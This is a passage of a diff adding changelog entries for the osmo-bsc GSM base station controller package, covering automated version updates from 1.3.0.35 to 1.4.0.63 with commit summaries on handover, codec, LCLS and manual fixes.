+ * fix inter-BSC-HO-incoming for AoIP (2/2)
+ * fix inter-BSC-HO-incoming for AoIP (1/2)
+
+-------------------------------------------------------------------
+Fri May 03 20:03:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.63:
+ * assignment_fsm: Properly support assigning signalling mode TCH/x
+
+-------------------------------------------------------------------
+Tue Apr 30 20:05:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.62:
+ * move mgw endpoint FSM to osmo-mgw.git
+ * use libosmocore osmo_tdef
+
+-------------------------------------------------------------------
+Fri Apr 19 20:03:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.60:
+ * Revert "fix inter-BSC-HO-incoming for AoIP (1/2)"
+
+-------------------------------------------------------------------
+Wed Apr 17 20:06:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.59:
+ * gsm_data.h: Remove unused variable from OpenBSC times
+ * Change comments/strings from OpenBSC to OsmoBSC
+ * manuals: Fix example config to reflect OsmoBSC commands
+ * doc: Add generic counter chapter in manual
+
+-------------------------------------------------------------------
+Mon Apr 15 20:03:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.55:
+ * Drop unused old osmux leftover code
+
+-------------------------------------------------------------------
+Fri Apr 12 20:03:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.54:
+ * fix inter-BSC-HO-incoming for AoIP (1/2)
+ * Handover Request: also parse Chosen Algorithm IE, pass to lchan activation
+ * lchan activation: add explicit encryption info to activation
+
+-------------------------------------------------------------------
+Mon Apr 08 20:03:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.51:
+ * ipaccess-config: use POSIX regex for Unit ID format check
+ * osmo_bsc_lcls.c: cosmetic: make Coverity happy
+ * gsm_data.c: use REG_NOSUB flag of regcomp()
+
+-------------------------------------------------------------------
+Sat Apr 06 20:03:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.48:
+ * abis_nm.c: fix broken logging in abis_nm_rx_ipacc()
+ * abis_nm.c: use msgb_lv_put() to put abis_nm_ipa_magic
+ * abis_nm.c: use abis_nm_ipa_magic from libosmocore
+ * abis_nm.c: also print TRX number in abis_nm_get_attr()
+ * abis_nm.c: use proper format specifiers for BTS / TRX number
+
+-------------------------------------------------------------------
+Wed Mar 27 21:05:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.43:
+ * nanobts: use libosmocore's osmo_store*() for OML attr. patching
+ * osmo_bsc_bssap: check bssmap length field
+
+-------------------------------------------------------------------
+Sun Mar 24 21:03:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.41:
+ * avoid use-after-free: on MGW endpoint dealloc, also forget it in conn->ho.*
+
+-------------------------------------------------------------------
+Tue Mar 19 21:03:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.40:
+ * lchan_fsm: add missing header file.
+ * AMR: Signal usage of octet-aligned or bandwith-efficient mode to MSC
+ * OML: Fix encoded length value of OML GET ATTRIBUTES
+ * lchan_fsm: do not include 12.2k in active set on HR channels
+ * lchan_fsm: make sure multi rate configuration is valid
+ * codec_pref: fix special handling for AMR rate configuration (S15-S0)
+ * osmo_bsc_msc: Use meaningful amr rate configuration on BTS level
+
+-------------------------------------------------------------------
+Sat Mar 16 21:03:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.33:
+ * fix another log line end in assignment_fsm.c
+
+-------------------------------------------------------------------
+Fri Mar 15 21:03:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.32:
+ * fix log line end in assignment_fsm.c
+ * Revert "assignment_fsm: Properly support assigning signalling mode TCH/x"
+
+-------------------------------------------------------------------
+Thu Mar 14 21:03:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.30:
+ * src/utils/Makefile.am: Drop unneeded sigtran and mgcp-client deps
+ * configure.ac: Add flag to enable/disable build of ipaccess related utils
+ * net_init.c: remove unneeded header
+ * ipaccess/Makefile.am: Remove unneeded libosmo-sigtran dep
+ * Move msc related code from gsm_data to bsc_msc
+ * Move LCLS references from gsm_data to osmo_bsc_lcls
+ * assignment_fsm: Properly support assigning signalling mode TCH/x
+ * log N-CONNECT from MSC
+ * incoming connect: don't crash if calling addr is missing
+ * ipaccess/Makefile.am: Remove unneeded libmgcp-client dep
+
+-------------------------------------------------------------------
+Mon Mar 11 21:03:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.20:
+ * handover_fsm: copy old S15_S0 to new lchan
+
+-------------------------------------------------------------------
+Fri Mar 08 21:03:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.19:
+ * assignment_fsm: use activate.info.s15_s0 for ASS. COMPL.
+
+-------------------------------------------------------------------
+Wed Mar 06 21:04:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.18:
+ * cosmetic: drop unused struct mgcp_ctx shadow
+
+-------------------------------------------------------------------
+Sat Feb 23 21:03:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.17:
+ * assignment_fsm: fix channel allocator preferences
+
+-------------------------------------------------------------------
+Mon Feb 11 21:03:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.16:
+ * bsc_vty: add features to disable specific lchans via vty
+
+-------------------------------------------------------------------
+Wed Feb 06 21:02:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.15:
+ * comments: clarify usage of conn.assignment and .handover scopes
+ * handover_fsm: do not access conn->assignment.req, it may be outdated
+
+-------------------------------------------------------------------
+Tue Feb 05 21:02:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.13:
+ * Implement CSFB "Fast Return" Handling at RR RELEASE
+ * manual: Remove bogus "Control interface" sub-section in overview
+ * manual: s/OsmoNITB/OsmoBSC/ in examples; remove E1 based BTSs
+ * manual: Re-order chapters in more logical order
+ * manual: Add sections on 3G/4G neighbor cells
+ * manual: It's not "A over SCCP" but "BSSAP over SCCP"
+ * gsm_data: Add gsm_bts_name() just like we have gsm_{trx,ts,lchan}_name()
+
+-------------------------------------------------------------------
+Fri Feb 01 21:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.6:
+ * bsc_vty: add vty command to display all lchans
+
+-------------------------------------------------------------------
+Tue Jan 29 21:02:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.5:
+ * LCLS: use libosmocore function to add status
+
+-------------------------------------------------------------------
+Fri Jan 25 21:02:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.4:
+ * abis_rsl: Fix TCH-as-SDCCH allocation on Channel Request
+
+-------------------------------------------------------------------
+Tue Jan 22 20:35:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.3:
+ * lchan_select: Do not unsolicitedly select a TCH/F
+ * lchan_select: dont allow half rate EFR to be selected
+
+-------------------------------------------------------------------
+Mon Jan 21 21:02:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.1:
+ * LCLS: constify helper parameters
+
+-------------------------------------------------------------------
+Sun Jan 20 21:02:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.0:
+ * Bump version: 1.3.0.293-605c → 1.4.0
+
+-------------------------------------------------------------------
+Fri Jan 18 21:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.293:
+ * chan_alloc: remove references to lchan_alloc()
+
+-------------------------------------------------------------------
+Thu Jan 17 21:02:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.292:
+ * Log MDCX ACK for established lchan
+
+-------------------------------------------------------------------
+Mon Jan 14 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.291:
+ * Print BTS number on GPRS options error
+ * paging: fix nullpointer deref
+
+-------------------------------------------------------------------
+Tue Jan 08 21:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.289:
+ * use mgcp-client configured endpoint domain name
+
+-------------------------------------------------------------------
+Fri Jan 04 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.288:
+ * LCLS: use enum values instead of magic numbers
+
+-------------------------------------------------------------------
+Thu Jan 03 21:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.287:
+ * IPA: log OML/RSL link drop reason
+ * comments: describe some lchan details
+ * make sure early lchan act failure resets the lchan
+
+-------------------------------------------------------------------
+Thu Dec 20 21:02:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.284:
+ * LCLS: log config/control update
+
+-------------------------------------------------------------------
+Tue Dec 18 21:02:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.283:
+ * LCLS: update parameter representation
+
+-------------------------------------------------------------------
+Fri Dec 14 21:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.282:
+ * Add VTY option to avoid sending empty Full BCCH Info for disabled SI
+
+-------------------------------------------------------------------
+Wed Dec 12 21:03:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.281:
+ * bsc: bssap: Set subscr log context during paging
+ * bsc: dtap: Set subscr log context
+ * bsc: rsl: Set subscr log context during meas report
+ * bsc: Set subscr log context during complete_layer3
+ * bsc_main: filter_fn: Compare imsi values instead of subscr pointers
+ * paging: Properly enclose logging imsi filter scope
+ * VTY: Allow logging filter imsi statements for IMSIs we haven't seen yet
+ * paging: fix whitespace
+
+-------------------------------------------------------------------
+Tue Dec 11 21:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.273:
+ * set gscon FSM instances' log level to DEBUG
+
+-------------------------------------------------------------------
+Sat Dec 08 21:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.272:
+ * handover_fsm: send HANDOVER PERFORMED msg on internal ho
+
+-------------------------------------------------------------------
+Thu Dec 06 21:02:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.271:
+ * gsm_04_08: Free GSM subscr conn if paging response can't be matched
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.269:
+ * paging: Add VTY options to calculate T3113 timeout dynamically
+ * bsc: lchan_fsm: Fix invalid duplicated transition
+ * bsc: timeslot_fsm: Handle and ignore tear down of lchan during PDCH DEACT
+ * bsc: lchan_fsm: Add missing transition WAIT_TS_READY->WAIT_RLL_RTP_RELEASED
+ * bsc: lchan_rtp_fsm: Avoid duplicate LCHAN_EV_RTP_RELEASED event
+ * bsc: timeslot_fsm: Fix count in ts_lchans_waiting
+ * bsc: timeslot_fsm: Fix possible skip of some lchans in ts_terminate_lchan_fsms
+ * bsc: ts_is_pchan_switching: Return correct IPA dyn TS target_pchan
+ * bsc: timeslot_fsm: Fix ts_is_lchan_waiting_for_pchan
+ * bsc: timelost_fsm: Remove unneeded set of out variable on failure
+ * bsc: Fix lchan iteration for dyn TS during PDCH Deact
+ * bsc: Add define for ts_as_pchan_for_each_lchan with ts->pchan_on_init
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.256:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Sat Dec 01 21:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.255:
+ * osmo_bsc_bssap.c: fix incorrect link_id assignment
+
+-------------------------------------------------------------------
+Fri Nov 30 21:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.254:
+ * follow-up: logging tweak for Immediate Assignment
+
+-------------------------------------------------------------------
+Thu Nov 29 21:02:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.253:
+ * bsc: ts_for_each_lchan: Improve documentation
+ * bsc: ts_as_pchan_for_each_lchan: reorder and improve documentation
+ * bsc: lchan_select: Avoid returning a TCH/H lchan when TCH/F is requested
+
+-------------------------------------------------------------------
+Wed Nov 28 21:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.250:
+ * cosmetic: bsc: timeslot_fsm: Clean uneeded scope brackets
+
+-------------------------------------------------------------------
+Tue Nov 27 21:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.249:
+ * build manuals included from osmo-gsm-manuals.git
+ * copy NITB's osmobsc-usermanual.adoc to OsmoBSC
+ * OsmoBSC: update VTY reference
+ * OsmoBSC/HLR/MSC: Fix default config file name
+ * author info: add "former" to Holger's job title
+ * bsc: handover: mention the need to resend SI for telnet neighbor cfg
+ * bsc: handover: clarify default of all-cells-are-neighbors
+ * bsc: document handover
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoBSC: update VTY reference
+ * add message sequence chart MS/BTS/BSC/MSC for 3GPP aoIP MO call
+ * common / OsmoBSC: drop unused alink.adoc
+ * OsmoBSC: update overview to explain both SCCPlite and SCCP/M3UA
+ * OsmoBSC: add rate counter documentation
+ * OsmoBSC: update CTRL docs
+ * refactor Makefile build rules, don't use the FORCE
+ * Allow easily disabling GFDL references
+ * MGW: Include MGCP endpoint naming scheme of old IPA/SCCPlite approach
+ * mgw: Fix endpoint names for new MGW
+ * osmux: Fix description for Dummy frames FT field
+ * osmux-reference-docinfo: Add latest changes to revhistory
+ * osmux-reference: Add traffic saving plot
+ * osmux-reference: Add sequence charts
+ * osmux-reference: Use packetdiag to draw packet header structures
+ * BSC: Add series of message sequence charts about MGCP handling
+ * Add chapter on Cell Broadcast Support in Osmocom (to BSC+NITB manual)
+ * Add osmux-reference document
+ * BSC,BTS: add diagrams of PCU-BTS-NITB-SGSN relationships
+ * fix 'make clean': shell glob, ignore failure
+ * OsmoBSC: include bts-examples.adoc from OsmoNITB
+ * OsmoBSC+NITB/running: fix title levels, one too deep
+ * add 'make check' target
+ * make clean: also remove generated image files
+ * OM2000 MSC: Fix spelling
+ * OM2000 message sequence charts: specify MO in node name
+ * add Ericsson OM2000 message sequence charts (one for each MO)
+ * Add OsmoBSC control interface description
+ * minor tweak
+ * fix various typos across all manuals
+ * Add OsmoBSC control interface description
+ * Add link to Asciidoc source code of manual
+ * initial checkin of manuals to public repo
+ * send Immediate Assignment Reject only before Immediate Assignment
+
+-------------------------------------------------------------------
+Fri Nov 23 21:02:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.204:
+ * ipaccess-config: Fix indentation of the usage output
+ * ipaccess-config: Generate valid JSON output when using the -G parameter
+ * vty: add command to show TRX selectively
+
+-------------------------------------------------------------------
+Thu Nov 22 19:00:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.201:
+ * ipaccess-config: Introduce -q quiet param
+ * LCLS: add bts-loop variant
+ * RSL: restructure MDCX functions
+ * gsm0408_rcvmsg: Release lchan if L3 fails to complete
+
+-------------------------------------------------------------------
+Wed Nov 21 20:21:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.197:
+ * ipaccess-config: cosmetic: Remove unneeded comment with hex values
+ * ipaccess-config: Add -G cmdl opt to query OML IP and Unit ID
+ * ipaccess-config: Fix whitespace
+ * abis_nm: Introduce new signal S_NM_GET_ATTR_REP
+
+-------------------------------------------------------------------
+Tue Nov 20 19:11:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.193:
+ * bsc: vty: Verify and warn on invalid arfcn passed
+ * bsc: band_compatible: Return band non-compatible for invalid arfcn
+ * bsc: Enable force-combined-si on nanoBTS by default
+ * bsc: si: Fix SI2ter L2 pseudo length
+ * bsc: si: Fix SI2bis L2 pseudo length
+ * bsc: Prefix log string with related SI type during call to list_arfcn
+
+-------------------------------------------------------------------
+Mon Nov 19 18:33:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.187:
+ * unlink socket path correctly in rf_create_socket()
+ * LCLS: make config and control redable in 'sh conns'
+
+-------------------------------------------------------------------
+Sun Nov 18 21:02:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.185:
+ * LCLS: move mode check into separate function
+ * LCLS: explicitly check for mode before closing the loop
+ * add missing 'break' in switch statement
+ * always directly send BSSMAP Clear Request
+ * osmo-bsc: gsm_timers_vty: Set global T_defs during vty_init
+ * check return value of gsm48_multirate_config()
+ * LCLS: tighten GCR check
+ * bsc: gsm0808: Fix return code in bsc_compl_l3
+ * bsc: vty: Use enum value in neighbor-list check
+ * bsc: bts_alloc: Use enum value during neigh_list_manual_mode initialization
+ * examples: Remove neighbor-list invalid for default setup
+
+-------------------------------------------------------------------
+Thu Nov 15 14:31:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.174:
+ * show dynamic timeslot details in 'show timeslot' vty command
+
+-------------------------------------------------------------------
+Wed Nov 14 21:02:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.173:
+ * coverity: gscon_forget_lchan: squelch forward-null
+ * lchan: set cause for 4 instances of release_in_error = true
+ * cosmetic: abis_rsl.c: drop uneccesary braces
+ * cosmetic: lchan: introduce sub-struct lchan->release.*
+ * lchan release: always Deact SACCH
+ * lchan: release in error: fix missing messages / events
+ * abis_rsl.c: drop unused enum sacch_deact
+ * fix: send RR Release (e.g. after BSSMAP Clear Cmd)
+
+-------------------------------------------------------------------
+Sat Nov 10 19:31:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.165:
+ * dbug log: verbosely detach conn<->lchan
+ * lchan: rf release: make sure conn is NULL
+ * lchan_fsm_cleanup: drop redundant 'forget_lchan' call
+
+-------------------------------------------------------------------
+Fri Nov 09 21:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.162:
+ * abis_nm: parse_attr_resp_info_unreported: Fix offset calculation
+ * abis_nm: Support parsing nanoBTS format for Get Attributes Info
+ * abis_nm: Add support to parse OML IP and Unit Id in Get Attributes
+ * abis_nm: Add support to parse some nanoBTS Attribute Response attributes
+ * abis_nm: Allow sending and receiving Get Attributes (Response) against nanoBTS
+ * abis_nm: Split reported attr list parsing from Attribute Response Info into its own func
+ * abis_nm: Split handling of Attribute Response Info into its own func
+ * abis_nm: Rename m_id_len to ease review of forthcoming patches
+ * gsm_data: make cgi_for_msc available for other modules
+ * re-order condition checks for clarity
+
+-------------------------------------------------------------------
+Thu Nov 08 21:02:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.152:
+ * LCLS: expand logging to print the name of the mode in use
+
+-------------------------------------------------------------------
+Wed Nov 07 21:06:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.151:
+ * constify rsl_tx_ipacc_*cx() parameters
+ * Make IP address helper accessible via header file
+ * LCLS: move MGCP MDCX into separate function
+
+-------------------------------------------------------------------
+Tue Nov 06 21:03:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.148:
+ * vty doc: drop "(HO algo 2 only)" strings
+ * ipaccess-config: Use enum value for OML IP
+ * vty: don't show GPRS details if not configured
+
+-------------------------------------------------------------------
+Wed Oct 31 21:02:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.145:
+ * ipaccess_sign_link_reject: fix: use osmo_strlcpy() to safely copy IP
+
+-------------------------------------------------------------------
+Tue Oct 30 21:02:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.144:
+ * vty: add 'show rejected-bts'
+ * fix build: revert bad neighbor_ident.vty change
+ * handover_fsm: fix failure logging of uninitialized chan mode
+ * handover_fsm: fix missing newline for log statement
+ * abis_rsl.c: fix uninitialized RSL cause issues
+
+-------------------------------------------------------------------
+Thu Oct 25 20:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.139:
+ * cipher mode reject: send proper cause codes
+ * cosmetic: fix spec ref for gsm0808_cipher_mode()
+
+-------------------------------------------------------------------
+Wed Oct 24 20:03:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.137:
+ * lchan_fsm: generate proper multirate configuration IE on RSL
+ * bsc_vty: check amr mode parameters
+ * gsm_04_08: improve gsm48_multirate_config()
+ * codec_pref: also check amr codec rates in check_codec_pref()
+
+-------------------------------------------------------------------
+Tue Oct 23 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.133:
+ * gsm_data: set meaningful default values for amr modes
+
+-------------------------------------------------------------------
+Sun Oct 21 17:25:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.132:
+ * handover_decision_2.c: implement HO to remote BSS
+ * handover_decision_2.c: refactor trigger_*()
+ * ipaccess-proxy: Add error handling to IAP CCM ID RESP parsing
+ * acc_ramp: An unsigned int is always >= 0
+ * subscr_conn_fsm: Fix null-pointer deref / N-CONNECT.ind from unknown MSC
+ * bssmap_handle_cipher_mode(): Don't sent reject if !conn
+ * ipaccess-config: Fix open() return value checking
+ * gsm_08_08: do not include zero length speech codec list.
+ * handover_start_inter_bsc_in(): Uninitialized variable
+ * range_enc_determine_range(): Don't dereference array on size=0
+
+-------------------------------------------------------------------
+Wed Oct 17 20:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.122:
+ * gsm_08_08: allow zero length speech codec lists in compl l3 info.
+
+-------------------------------------------------------------------
+Tue Oct 16 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.121:
+ * vty 'show bts'/'show trx': display IPs and ports
+ * remote-BSS neighbors: allow only one cell ID
+ * handover_fsm: adjust inter-BSC HO failure handling to spec
+ * lchan_fsm: notify conn of released lchan upon RF Release
+
+-------------------------------------------------------------------
+Fri Oct 12 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.117:
+ * handover_decision_2.c: drop redundant debug_candidate() args
+ * handover_decision_2.c: find_alternative_lchan: drop goto
+ * handover_decision_2.c: tweak ho candidate logging
+ * handover_decision_2.c: tweak comments
+ * lchan_fsm: fix failure handling: notify conn when released
+ * subscr conn: properly forget lchan before release
+ * gscon_forget_lchan(): Clear Request iff no lchans remain
+ * gscon_forget_lchan(): no Clear Request after Clear Command
+ * fix counters for inter-BSC outgoing
+ * debian: Require libcdk and install meas_vis osmo-bsc-meas-utils
+
+-------------------------------------------------------------------
+Thu Oct 11 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.107:
+ * codec_pref: also check physical channels
+ * codec_pref: cosmetic: seperate half/full rate determination
+
+-------------------------------------------------------------------
+Mon Oct 08 20:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.105:
+ * codec_pref: check codec configuration before start
+
+-------------------------------------------------------------------
+Sun Oct 07 18:23:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.104:
+ * nanoBTS: Allow BCCH with CBCH on TS0
+
+-------------------------------------------------------------------
+Sat Oct 06 20:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.103:
+ * osmo_bsc_msc: Set reasonable codec list defaults
+ * gsm_08_08: abort complete L3 3 msg gen when no codecs are set
+
+-------------------------------------------------------------------
+Fri Oct 05 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.101:
+ * codec_pref: handle S0-S15 in ASSIGNMENT REQUEST
+ * osmo_bsc_main.c: initialize rate counters
+
+-------------------------------------------------------------------
+Thu Oct 04 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.99:
+ * abis_nm_get_ts: Return TS of correct TRX, not always TRX0
+ * osmo-bsc: Add default case for switch(enum)
+
+-------------------------------------------------------------------
+Mon Oct 01 18:10:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.97:
+ * cosmetics: Fix typo in bsc_vty.c
+
+-------------------------------------------------------------------
+Sat Sep 29 19:48:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.96:
+ * fix unaligned access in abis_nm_rx_ipacc()
+
+-------------------------------------------------------------------
+Thu Sep 27 20:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.95:
+ * vty: write local neighbors by bts nr, not lac-ci
+ * neighbor vty: allow setting local neighbors by CGI
+ * neighbor vty: rather 'no neighbor', not 'neighbor del'
+ * neighbor vty: drop keyword 'add'
+ * test neighbor ident vty docs
+ * make: allow vty-tests without configure
+ * vty: add SCCP related vty commands
+
+-------------------------------------------------------------------
+Wed Sep 26 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.88:
+ * cosmetic: drop param from send_assignment_complete()
+ * fix LCLS during Assignment: actually use new TCH lchan
+ * lcls: log channel type and lchan names on LCLS codec mismatch
+ * check for overlong unix socket paths
+
+-------------------------------------------------------------------
+Mon Sep 24 20:02:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.84:
+ * codec_pref: Add Codec List to COMPLETE LAYER 3 INFORMATION
+ * gsm_data.c: Set reasonable AMR codec defaults in gsm_bts_alloc()
+ * assignment_fsm: only include speech codec (choosen) on AoIP networks
+
+-------------------------------------------------------------------
+Wed Sep 19 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.81:
+ * Implement RR Classmark Enquiry
+
+-------------------------------------------------------------------
+Mon Sep 17 20:02:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.80:
+ * gsm_data: remove unused struct member chan_mode
+ * gsm_data: remove unused struct member full_rate.
+ * LCLS: fix codec mismatch detection
+
+-------------------------------------------------------------------
+Sat Sep 15 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.77:
+ * codec_pref: fix missing breaks in switch-case statement
+ * codec_pref: add AMR configuration bits to make_scl_config() in unit-test
+ * codec_pref: fix typo in comment
+
+-------------------------------------------------------------------
+Thu Sep 13 19:56:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.74:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Wed Sep 12 20:02:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.72:
+ * ts,lchan_fsm: do not attempt to allocate CBCH subslots
+
+-------------------------------------------------------------------
+Mon Sep 10 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.71:
+ * lchan_fsm: allow late RTP release events without erroring
+ * ho fsm: handle RR HO Failure for inter-BSC outgoing
+
+-------------------------------------------------------------------
+Sun Sep 09 20:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.69:
+ * CBCH: Fix gsm_bts_get_cbch()
+ * CBCH: Fix SI4 CBCH IE generation
+ * Introduce gsm48_lchan2chan_desc_as_configured()
+ * gsm48_lchan2chan_desc() belongs to gsm_data.h
+ * cbch: Don't send cell-broadcast command on BTS without CBCH channel
+
+-------------------------------------------------------------------
+Fri Sep 07 20:02:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.64:
+ * inter-BSC HO outgoing: fix L3 forwarding
+ * inter-BSC HO incoming: send BSSMAP HO Complete directly
+ * SCCPlite Assignment Complete: include Speech Codec (Chosen)
+ * codec_pref.c: Add comment in expected switch case without break
+
+-------------------------------------------------------------------
+Thu Sep 06 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.60:
+ * assignment: remove unnecessary call to gsm0808_speech_codec_from_chan_type()
+
+-------------------------------------------------------------------
+Tue Sep 04 20:02:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.59:
+ * codec_pref: Log HR2 specifically as never specified
+ * codec_pref: Log unsupported codec name used
+ * lchan: pick proper power and ta values
+ * cosmetic: lchan activ: drop todo comments
+ * cosmetic: lchan activ: no need to clear mr again
+
+-------------------------------------------------------------------
+Wed Aug 29 20:02:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.54:
+ * fix dependency bug: include mgcp_client/, not mgcp/
+ * log: tweaks and more context in osmo_bsc_sigtran_send()
+ * inter-BSC HO: send failure msg directly
+ * log: 'sending BSSMAP HO Request ACK'
+ * log: lchan_rtp_fsm: add missing '\n'
+ * lchan_fsm: safer 'concluded' flag
+ * cosmetic: lchan_fsm failure: log about state transitions
+ * lchan_fsm: lchan_fail_to(): store target state early
+ * inter-BSC HO incoming: drop old/wrong RTP port code
+ * inter-BSC HO incoming: continue despite missing Classmark
+ * neighbor_ident_vty.c: fix CI format, should be 16bit
+
+-------------------------------------------------------------------
+Tue Aug 28 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.43:
+ * cosmetic: neighbor_ident_vty.c: add and use common string defs
+ * MGCP: add 'X-Osmo-IGN: C' for SCCPlite by default
+
+-------------------------------------------------------------------
+Fri Aug 24 12:15:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.41:
+ * abis_nm_ipaccess_rsl_connect: Log bts and trx nr
+ * Fix heap-use-after-free due to OML link destruction
+
+-------------------------------------------------------------------
+Wed Aug 22 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.39:
+ * fix lchan_rtp_fsm: missing event handling
+ * abis_nm: Fix trailing whitespacing
+ * abis_nm: Fix heap-use-after-free in abis_nm_set_channel_attr
+
+-------------------------------------------------------------------
+Tue Aug 21 20:02:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.36:
+ * use __FILE__, not __BASE_FILE__
+
+-------------------------------------------------------------------
+Fri Aug 17 20:05:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.35:
+ * bsc: Use libosmocore API to track osmo_signal structs
+
+-------------------------------------------------------------------
+Mon Aug 13 20:02:35 UTC 2018 - mardnh@gmx.de
+
